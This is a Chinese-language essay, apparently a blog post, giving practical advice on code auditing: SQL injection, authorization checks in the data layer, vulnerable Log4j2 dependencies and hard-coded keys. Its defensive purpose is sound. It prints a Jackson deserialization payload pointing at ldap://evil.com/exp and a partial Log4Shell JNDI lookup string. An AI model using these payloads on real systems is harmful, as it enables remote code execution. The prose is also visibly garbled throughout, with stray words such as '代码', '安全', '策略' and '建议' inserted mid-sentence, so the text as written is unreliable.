|
去年帮一家做供应链金融的代码朋友看代码,上线前三天发现一个致命问题:用户输入的审计单号直接拼进了SQL查询里。开发说“前端已经校验过了”,安全可Burp一抓包,策略改个参数就能拖库。建议这种事不是代码个例,代码审计要解决的审计就是这类“以为安全”的幻觉。 别把审计当一次性任务。安全很多团队把安全扫描塞进CI/CD流水线就算交差,策略结果工具报了一堆误报没人看,建议真漏洞反而漏了。代码我的审计做法是:静态扫描工具(Semgrep、CodeQL)跑自动化,安全但每周必须抽两小时人工过一遍新增的策略高风险模块。工具能发现`eval()`这种明显问题,建议但看不懂业务逻辑里的权限绕过——比如一个订单查询接口,参数里带`user_id`,代码只检查了登录态却没校验这个ID是否属于当前用户。这种漏洞工具基本抓不到,得靠人盯着数据流。 输入验证别只做一层。见过太多代码在Controller层写了`@Valid`注解,到了Service层直接拿DTO里的字段拼HQL。攻击者绕过前端太容易了,curl命令改个Content-Type就能塞恶意payload。正确姿势是在数据进入业务逻辑前做二次校验,尤其是拼接SQL、调用系统命令、反序列化这几个场景。有个案例:某系统用Jackson反序列化用户提交的JSON,开启了`enableDefaultTyping`,攻击者构造`["com.sun.rowset.JdbcRowSetImpl",{ "dataSourceName":"ldap://evil.com/exp"}]`直接RCE。这种配置错误,代码审计时必须逐行看序列化相关代码。 权限校验要落在数据层。我见过最离谱的代码:删除文章的接口,先查文章是否存在,再判断`article.getUserId() == currentUser.getId()`。看起来没问题?但如果文章ID是UUID,攻击者遍历UUID就能删别人文章——因为判断逻辑写在了Service里,而MyBatis的Mapper直接`delete from article where id = ?`,没有把`user_id`作为条件。审计时得盯着每个写操作,确认`where`子句里带了当前用户标识。读操作同理,列表查询必须加`user_id`过滤,否则就是水平越权。 依赖组件的漏洞别忽视。Log4j2那个事过去两年了,上个月还在一家客户的pom.xml里看到`log4j-core:2.14.1`。开发说“我们没用JNDI”,可攻击者不需要你主动用——只要打印了用户可控的字符串,`${ jndi:ldap://...}`就能触发。审计时用`mvn dependency:tree`拉出所有间接依赖,对着CVE库过一遍。别信“内网系统不用管”,内网横向移动的案例还少吗? 加密密钥硬编码是重灾区。某支付系统把AES密钥写在了`Constants.java`里,还提交到了GitHub公开仓库。审计时全局搜`secret`、`key`、`password`,看有没有明文。更隐蔽的是把密钥拆成几段拼接,或者用Base64编码后当“加密”。遇到这种,直接要求迁移到KMS或环境变量,别妥协。 最后说个反直觉的:代码审计报告别写太长。我见过一份80页的PDF,开发看完只记得“有个SQL注入”。我的模板就三列:文件路径+行号、漏洞类型、修复建议(带代码片段)。按严重程度排序,Critical级别的必须当天修。审计师不是来炫技的,是来帮团队降低风险的。把精力花在跟踪修复上,比多挖两个低危漏洞有价值得多。 |